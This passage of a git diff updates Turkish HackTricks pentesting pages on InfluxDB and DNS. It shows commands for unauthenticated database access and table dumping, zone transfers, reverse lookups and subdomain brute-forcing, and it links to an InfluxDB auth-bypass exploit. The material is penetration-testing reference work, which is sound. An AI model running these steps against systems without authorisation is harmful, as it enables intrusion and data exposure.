grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index cef739c7b..52e9c7653 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,61 +1,61 @@ # 8086 - InfluxDB Pentesting -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler -**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, TSDB'ler zaman serisi veri kümeleri için **depolama alanında** ve **performansta** önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanır ve eski verileri otomatik olarak kaldırmak için yapılandırılabilir. Özel veritabanı dizinleri de sorgu performansını artırır. +**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarına kıyasla, TSDB'ler zaman serisi veri kümeleri için **depolama alanında** ve **performansta** önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldırmak için yapılandırılabilirler. Özel veritabanı dizinleri de sorgu performansını artırır. **Varsayılan port**: 8086 ``` PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 ``` -## Numaralandırma +## Sıralama -Bir pentester açısından, bu hassas bilgileri depolayabilen başka bir veritabanı olduğu için tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir. +Bir pentester açısından bu da hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir. ### Kimlik Doğrulama -InfluxDB kimlik doğrulama gerektirebilir veya gerektirmeyebilir. +InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir ```bash # Try unauthenticated influx -host 'host name' -port 'port #' > use _internal ``` -Eğer şu şekilde bir hata alıyorsanız: `ERR: kimlik doğrulama bilgileri ayrıştırılamıyor`, bu demektir ki **bazı kimlik doğrulama bilgileri bekleniyor**. +Eğer bu şekilde bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor` demek ki **bazı kimlik bilgilerini bekliyor**. ``` influx –username influx –password influx_pass ``` -influxdb'de yetkilendirmeyi atlamaya izin veren bir güvenlik açığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) +Influxdb'de kimlik doğrulamasını atlamaya izin veren bir zafiyet bulunmaktaydı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) ### El ile Numaralandırma Bu örneğin bilgileri [**buradan**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/) alınmıştır. -#### Veritabanlarını Göster +#### Veritabanlarını göster -Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur)dir. +Bulunan veritabanları `telegraf` ve `internal` (bu her yerde bulunur) olarak belirlenmiştir. ```bash > show databases name: databases @@ -64,9 +64,9 @@ name telegraf _internal ``` -#### Tabloları/Ölçümleri Göster +#### Tablolar/Ölçümler Göster -[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır. +[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, içeriklerine işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır. ```bash > show measurements name: measurements @@ -104,9 +104,9 @@ inodes_used integer [ ... more keys ...] ``` -#### Tabloyu Dökümle +#### Tabloyu Dök -Ve son olarak, tabloyu dökümleyebilirsiniz. Bunu şu şekilde yapabilirsiniz: +Ve son olarak, tabloyu dökmeniz gerekebilir, aşağıdaki gibi bir şey yaparak: ```bash select * from cpu name: cpu @@ -125,22 +125,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum ```
-AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +[**Trickest**]'i (https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md index 6dfb43d2d..6fb92850d 100644 --- a/network-services-pentesting/pentesting-dns.md +++ b/network-services-pentesting/pentesting-dns.md @@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) keşfedin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20+'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Bu araçlar ve özellikler, keşiften raporlamaya kadar uzanan özel araçlar, tespit ve istismar modülleri geliştirerek pentesterlara daha fazla zaman kazandırır, daha derine inmelerini, kabukları patlatmalarını ve eğlenmelerini sağlar. +**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz. {% embed url="https://pentest-tools.com/" %} ## **Temel Bilgiler** -**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmelerini sağlayan internetin dizin hizmeti olarak görev yapar. Alan adlarını IP adreslerine çevirerek, DNS web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar ve çevrimiçi dünyada gezinmeyi basitleştirir. +**Alan Adı Sistemi (DNS)**, kullanıcıların sayısal İnternet Protokolü (IP) adresleri yerine google.com veya facebook.com gibi **kolay hatırlanan alan adları** aracılığıyla web sitelerine erişmesine izin veren internetin dizinidir. Alan adlarını IP adreslerine çevirerek DNS, web tarayıcılarının internet kaynaklarını hızlı bir şekilde yüklemesini sağlar, çevrimiçi dünyada gezinmemizi basitleştirir. -**Varsayılan port:** 53 +**Varsayılan bağlantı noktası:** 53 ``` PORT STATE SERVICE REASON 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) @@ -33,42 +33,37 @@ PORT STATE SERVICE REASON ``` ### Farklı DNS Sunucuları -- **DNS Kök Sunucuları**: Bunlar DNS hiyerarşisinin en üstünde bulunur ve alt düzey sunucular yanıt vermezse devreye girerek üst düzey alanları yönetir. İşlevlerini Internet Corporation for Assigned Names and Numbers (**ICANN**) denetler ve küresel olarak 13 adet bulunur. - -- **Yetkili Ad Sunucuları**: Bu sunucular, belirli bölgelerindeki sorgular için kesin yanıtlar sunar ve kesin karar verme yetkisine sahiptir. Yanıt sağlayamazlarsa sorgu kök sunuculara yönlendirilir. - -- **Yetkisiz Ad Sunucuları**: DNS bölgelerine sahip olmayan bu sunucular, diğer sunuculara yapılan sorgular aracılığıyla alan bilgilerini toplar. - -- **Önbelleğe Alma DNS Sunucusu**: Bu tür bir sunucu, gelecekteki isteklerin yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca belleğinde saklar ve bu süre yetkili sunucu tarafından belirlenir. - -- **Yönlendirme Sunucusu**: Basit bir rolü olan yönlendirme sunucuları, sorguları başka bir sunucuya iletmektedir. - -- **Çözümleyici**: Bilgisayarlara veya yönlendiricilere entegre edilen çözümleyiciler, yerel olarak ad çözümlemesini gerçekleştirir ve yetkili olarak kabul edilmez. +- **DNS Kök Sunucuları**: DNS hiyerarşisinin en üstünde bulunurlar, üst düzey alanları yönetir ve alt düzey sunucular yanıt vermezse devreye girerler. İnternet Tahsisli Adlar ve Sayılar Kurumu (**ICANN**) işletmelerini denetler ve küresel olarak 13 adet bulunmaktadır. +- **Yetkili Ad Sunucuları**: Bu sunucular, belirlenmiş bölgelerindeki sorgular için nihai karara sahiptir ve kesin cevaplar sunarlar. Yanıt sağlayamazlarsa, sorgu kök sunuculara yükseltilir. +- **Yetkisiz Ad Sunucuları**: DNS bölgeleri üzerinde sahiplikleri olmadığından, bu sunucular alan bilgilerini diğer sunuculara sorgular aracılığıyla toplarlar. +- **Önbelleğe Alan DNS Sunucusu**: Bu tür bir sunucu, gelecekteki istekler için yanıt sürelerini hızlandırmak için önceki sorgu yanıtlarını belirli bir süre boyunca hafızasında tutar; önbellek süresi yetkili sunucu tarafından belirlenir. +- **Yönlendirme Sunucusu**: Basit bir rol üstlenen yönlendirme sunucuları, sorguları sadece başka bir sunucuya iletirler. +- **Çözümleyici**: Bilgisayarlar veya yönlendiriciler içinde entegre edilen çözümleyiciler, yerel olarak ad çözümünü gerçekleştirir ve yetkili olarak kabul edilmezler. ## Numaralandırma ### **Banner Yakalama** -DNS'te banner bulunmamaktadır, ancak çoğu BIND ad sunucusunda çalışacak olan `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz.\ +DNS'te bannerlar olmasa da, `version.bind. CHAOS TXT` için sihirli sorguyu yakalayabilirsiniz, bu sorgu çoğu BIND ad sunucusunda çalışacaktır.\ Bu sorguyu `dig` kullanarak gerçekleştirebilirsiniz: ```bash dig version.bind CHAOS TXT @DNS ``` -Ayrıca, [`fpdns`](https://github.com/kirei/fpdns) aracıyla sunucunun parmak izi de alınabilir. +Ayrıca, [`fpdns`](https://github.com/kirei/fpdns) aracı sunucunun parmak izini de alabilir. -Ayrıca, bir **nmap** betiği ile banner da alınabilir: +Ayrıca **nmap** betiği ile banner da alınabilir: ``` --script dns-nsid ``` ### **Herhangi bir kayıt** -**ANY** kaydı, DNS sunucusuna **tüm mevcut girişleri** sormak için kullanılır ve sunucunun **açıklamaya istekli olduğu** tüm bilgileri **geri döndürmesini** isteyebilir. +Kayıt **ANY**, DNS sunucusuna **tüm** mevcut **girişleri** sormak için **talep** edecektir. ```bash dig any victim.com @ ``` ### **Bölge Transferi** -Bu işlem `Asenkron Tam Transfer Bölgesi` (`AXFR`) olarak kısaltılır. +Bu prosedür, `Asenkron Tam Transfer Bölgesi` (`AXFR`) olarak kısaltılmıştır. ```bash dig axfr @ #Try zone transfer without domain dig axfr @ #Try zone transfer guessing the domain @@ -88,160 +83,12 @@ dig -x 2a00:1450:400c:c06::93 @ #reverse IPv6 lookup #Use [-p PORT] or -6 (to use ivp6 address of dns) ``` #### Otomasyon - -Automation, in the context of network services pentesting, refers to the use of tools and scripts to streamline and expedite the process of testing and exploiting DNS vulnerabilities. By automating certain tasks, such as reconnaissance, enumeration, and exploitation, pentesters can save time and effort while ensuring thorough testing of DNS configurations. - -Otomasyon, ağ hizmetleri pentesting bağlamında, DNS zafiyetlerinin test edilmesi ve sömürülmesi sürecini hızlandırmak ve kolaylaştırmak için araç ve komut dosyalarının kullanılması anlamına gelir. Keşif, numaralandırma ve sömürme gibi belirli görevleri otomatikleştirerek, pentester'lar DNS yapılandırmalarının kapsamlı bir şekilde test edilmesini sağlarken zaman ve çaba tasarrufu yapabilirler. ```bash for sub in $(cat );do dig $sub. @ | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f ``` #### nslookup Kullanımı - -`nslookup` komutu, DNS (Alan Adı Sistemi) sorgularını gerçekleştirmek için kullanılan bir araçtır. Bu araç, belirli bir IP adresine veya alan adına ait DNS kayıtlarını sorgulamak için kullanılabilir. - -**Kullanımı:** - -```bash -nslookup [alan_adı veya_IP_adresi] -``` - -**Örnekler:** - -- Belirli bir alan adının IP adresini sorgulamak için: - -```bash -nslookup example.com -``` - -- Belirli bir IP adresine ait alan adını sorgulamak için: - -```bash -nslookup 192.168.0.1 -``` - -- Belirli bir alan adının MX (Posta Değiştiricisi) kayıtlarını sorgulamak için: - -```bash -nslookup -type=mx example.com -``` - -- Belirli bir alan adının NS (Alan Sunucusu) kayıtlarını sorgulamak için: - -```bash -nslookup -type=ns example.com -``` - -- Belirli bir alan adının TXT (Metin) kayıtlarını sorgulamak için: - -```bash -nslookup -type=txt example.com -``` - -- Belirli bir alan adının SOA (Yetki Kaydı) kaydını sorgulamak için: - -```bash -nslookup -type=soa example.com -``` - -- Belirli bir alan adının CNAME (Kanonik Ad) kaydını sorgulamak için: - -```bash -nslookup -type=cname example.com -``` - -- Belirli bir alan adının AAAA (IPv6) kayıtlarını sorgulamak için: - -```bash -nslookup -type=aaaa example.com -``` - -- Belirli bir alan adının PTR (Ters DNS) kaydını sorgulamak için: - -```bash -nslookup -type=ptr 192.168.0.1 -``` - -- Belirli bir alan adının SRV (Hizmet) kayıtlarını sorgulamak için: - -```bash -nslookup -type=srv _sip._tcp.example.com -``` - -- Belirli bir alan adının NSEC (Alan Adı Güvenliği) kaydını sorgulamak için: - -```bash -nslookup -type=nsec example.com -``` - -- Belirli bir alan adının DNSKEY (DNS Anahtar) kayıtlarını sorgulamak için: - -```bash -nslookup -type=dnskey example.com -``` - -- Belirli bir alan adının DS (Alan Adı Güvenliği) kayıtlarını sorgulamak için: - -```bash -nslookup -type=ds example.com -``` - -- Belirli bir alan adının NSEC3 (Alan Adı Güvenliği) kaydını sorgulamak için: - -```bash -nslookup -type=nsec3 example.com -``` - -- Belirli bir alan adının TLSA (Transport Layer Security Authentication) kayıtlarını sorgulamak için: - -```bash -nslookup -type=tlsa example.com -``` - -- Belirli bir alan adının SSHFP (SSH Fingerprints) kayıtlarını sorgulamak için: - -```bash -nslookup -type=sshfp example.com -``` - -- Belirli bir alan adının SPF (Sender Policy Framework) kayıtlarını sorgulamak için: - -```bash -nslookup -type=spf example.com -``` - -- Belirli bir alan adının HINFO (Host Information) kayıtlarını sorgulamak için: - -```bash -nslookup -type=hinfo example.com -``` - -- Belirli bir alan adının RP (Responsible Person) kayıtlarını sorgulamak için: - -```bash -nslookup -type=rp example.com -``` - -- Belirli bir alan adının PTR (Ters DNS) kaydını sorgulamak için: - -```bash -nslookup -type=ptr 192.168.0.1 -``` - -- Belirli bir alan adının A (IPv4) kayıtlarını sorgulamak için: - -```bash -nslookup -type=a example.com -``` - -- Belirli bir alan adının ANY (Tüm Kayıtlar) kayıtlarını sorgulamak için: - -```bash -nslookup -type=any example.com -``` - -**Not:** Yukarıdaki örneklerde `example.com` ve `192.168.0.1` yerine ilgili alan adı veya IP adresini kullanmalısınız. ```bash nslookup > SERVER #Select dns server @@ -249,52 +96,15 @@ nslookup > #Reverse lookup of a machine, maybe... ``` ### Kullanışlı metasploit modülleri - -Metasploit, birçok farklı ağ hizmetini hedefleyen bir dizi kullanışlı modül sunar. Bu modüller, hedef sistemlerde zafiyetler bulmak ve istismar etmek için kullanılabilir. İşte bazı kullanışlı metasploit modülleri: - -- `auxiliary/scanner/dns/dns_enum`: DNS sunucusunu keşfetmek ve DNS kayıtlarını toplamak için kullanılır. -- `auxiliary/scanner/dns/dns_recon`: DNS sunucusunu keşfetmek ve DNS kayıtlarını toplamak için kullanılır. -- `auxiliary/scanner/dns/dns_brute`: DNS sunucusunda brute force saldırısı gerçekleştirmek için kullanılır. -- `auxiliary/scanner/dns/dns_cache_snoop`: DNS önbelleğini sorgulamak ve gizli bilgileri ortaya çıkarmak için kullanılır. -- `auxiliary/scanner/dns/dns_cache_poison`: DNS önbelleğini zehirlemek ve hedef sistemdeki DNS yanıtlarını manipüle etmek için kullanılır. -- `auxiliary/scanner/dns/dns_transfer`: DNS bölgesi transferini gerçekleştirmek için kullanılır. -- `auxiliary/scanner/dns/dns_wildcard`: Hedef DNS sunucusunda joker karakterlerin kullanılıp kullanılmadığını kontrol etmek için kullanılır. - -Bu modüller, DNS hizmetlerini hedefleyen birçok farklı saldırı senaryosunu gerçekleştirmek için kullanılabilir. Metasploit, bu modüllerin yanı sıra diğer birçok farklı hizmet için de kullanışlı modüller sunar. ```bash auxiliary/gather/enum_dns #Perform enumeration actions ``` ### Kullanışlı nmap betikleri - -Nmap, ağ tarama ve keşif aracı olarak kullanılan popüler bir araçtır. Nmap, kullanıcıların ağ hedeflerini taramak ve keşfetmek için çeşitli betikler kullanmasına olanak tanır. İşte bazı kullanışlı Nmap betikleri: - -- **dns-brute.nse**: Bu betik, DNS sunucusuna karşı brute force saldırıları gerçekleştirmek için kullanılır. DNS sunucusunda mevcut olan alan adlarını keşfetmek için kullanılabilir. - -- **dns-cache-snoop.nse**: Bu betik, hedef DNS sunucusunun önbelleğindeki kayıtları sorgulamak için kullanılır. Bu sayede, hedef DNS sunucusunun önbelleğindeki gizli bilgilere erişebilirsiniz. - -- **dns-zone-transfer.nse**: Bu betik, hedef DNS sunucusundan alan adı bölgesi transferini gerçekleştirmek için kullanılır. Bu sayede, hedef DNS sunucusunun tüm alan adı kayıtlarını elde edebilirsiniz. - -- **dns-update.nse**: Bu betik, hedef DNS sunucusuna DNS güncelleme istekleri göndermek için kullanılır. Bu sayede, hedef DNS sunucusunda yetkisiz güncellemeler yapabilirsiniz. - -- **dns-recursion.nse**: Bu betik, hedef DNS sunucusunun rekürsif sorgu özelliğini test etmek için kullanılır. Bu sayede, hedef DNS sunucusunun yetkisiz sorgulara izin verip vermediğini belirleyebilirsiniz. - -Bu betikler, Nmap'ın güçlü tarama ve keşif yeteneklerini kullanarak DNS hedeflerini analiz etmenize yardımcı olur. ```bash #Perform enumeration actions nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" ``` -### DNS - Tersine BF - -Tersine brute force (Reverse BF), bir hedefin IP adreslerini belirlemek için DNS sunucusunu hedefleyen bir saldırı türüdür. Bu saldırıda, saldırgan, hedefin alan adıyla ilişkili IP adreslerini keşfetmek için DNS sunucusuna talepler gönderir. - -Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyebilirsiniz: - -1. Hedef alan adını belirleyin. -2. DNS sunucusunu belirleyin. -3. DNS sunucusuna talepler göndermek için bir araç kullanın. -4. DNS sunucusundan gelen yanıtları analiz edin ve hedefin IP adreslerini belirleyin. - -Tersine brute force saldırısı, hedefin IP adreslerini belirlemek için etkili bir yöntem olabilir, ancak hedefin DNS sunucusunun güvenlik önlemlerini aşmak zor olabilir. Bu nedenle, bu saldırıyı gerçekleştirmeden önce yasal izinleri almak ve hedefin izni olmadan test yapmamak önemlidir. +### DNS - Ters BF ```bash dnsrecon -r 127.0.0.0/24 -n #DNS reverse of all of the addresses dnsrecon -r 127.0.1.0/24 -n #DNS reverse of all of the addresses @@ -302,12 +112,12 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` {% hint style="info" %} -Eğer iç IP adreslerine çözülen alt alan adlarını bulabilirseniz, bu IP aralığı için NS'lere ters dns BF yapmayı denemelisiniz. +Eğer iç IP adreslerine çözünen alt alan adlar bulabilirseniz, o IP aralığını soran alan adının NS'lerine ters dns BF yapmaya çalışmalısınız. {% endhint %} Bunu yapmak için başka bir araç: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Ters IP aralıklarını sorgulayabilirsiniz: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç BGP ile de yardımcı olur). +Ters IP aralıklarını sorgulayabilirsiniz [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (bu araç aynı zamanda BGP ile de yardımcı olur). ### DNS - Alt Alan Adları BF ```bash @@ -315,13 +125,7 @@ dnsenum --dnsserver --enum -p 0 -s 0 -o subdomains.txt -f subdomains-10 dnsrecon -D subdomains-1000.txt -d -n dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan ``` -### Active Directory sunucuları - -Active Directory (AD), Microsoft tarafından geliştirilen ve ağ kaynaklarını yönetmek için kullanılan bir dizin hizmetidir. AD sunucuları, ağdaki kullanıcı hesaplarını, grupları, bilgisayarları ve diğer kaynakları yönetmek için kullanılır. AD sunucuları, ağdaki kullanıcıların kimlik doğrulamasını sağlar ve ağ kaynaklarına erişim kontrolünü yönetir. - -AD sunucularını hedef alarak yapılan saldırılar, ağa erişimi elde etmek, kimlik avı yapmak veya yetkilendirme hatalarını kullanarak ayrıcalıklı erişim elde etmek gibi amaçlarla gerçekleştirilebilir. Bu nedenle, AD sunucularının güvenliğini sağlamak ve saldırılara karşı korumak önemlidir. - -AD sunucularını hedef alan saldırılar arasında brute force saldırıları, kimlik avı saldırıları, zayıf şifrelerin keşfedilmesi ve yetkilendirme hatalarının kullanılması gibi yöntemler bulunur. Bu saldırıları önlemek için güçlü şifre politikaları uygulanmalı, güncel güvenlik yamaları uygulanmalı ve ağ trafiği izlenerek anormal aktiviteler tespit edilmelidir. +### Aktif Dizin sunucuları ```bash dig -t _gc._tcp.lab.domain.com dig -t _ldap._tcp.lab.domain.com @@ -333,60 +137,35 @@ nslookup -type=srv _kerberos._tcp.domain.com nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'" ``` -DNSSec (Domain Name System Security Extensions), alan adı sistemine güvenlik eklemeleri sağlayan bir mekanizmadır. DNSSec, DNS trafiğinin bütünlüğünü ve doğruluğunu sağlamak için kullanılır. Bu, DNS sorgularının ve yanıtlarının değiştirilmediğini ve sahte olmadığını doğrulamak için dijital imzalar kullanır. +### DNSSec -DNSSec, DNS üzerindeki çeşitli saldırıları önlemek için tasarlanmıştır. Örneğin, DNS cache zehirlenmesi saldırılarına karşı koruma sağlar. Bu saldırıda, saldırgan, DNS sunucusuna yanıltıcı bilgiler göndererek, kullanıcıları yanlış IP adreslerine yönlendirebilir. DNSSec, bu tür saldırıları tespit eder ve önler. +#### DNSSec Nedir? -DNSSec, DNS hiyerarşisindeki her düğümün (kök, alan adı sunucusu, alt alan adı sunucusu) dijital bir imza kullanarak DNS kayıtlarını doğrulamasını sağlar. Bu imzalar, DNS kayıtlarının bütünlüğünü ve doğruluğunu sağlamak için kullanılır. Bir DNS istemcisi, DNS sunucusundan aldığı yanıtın doğruluğunu kontrol etmek için bu 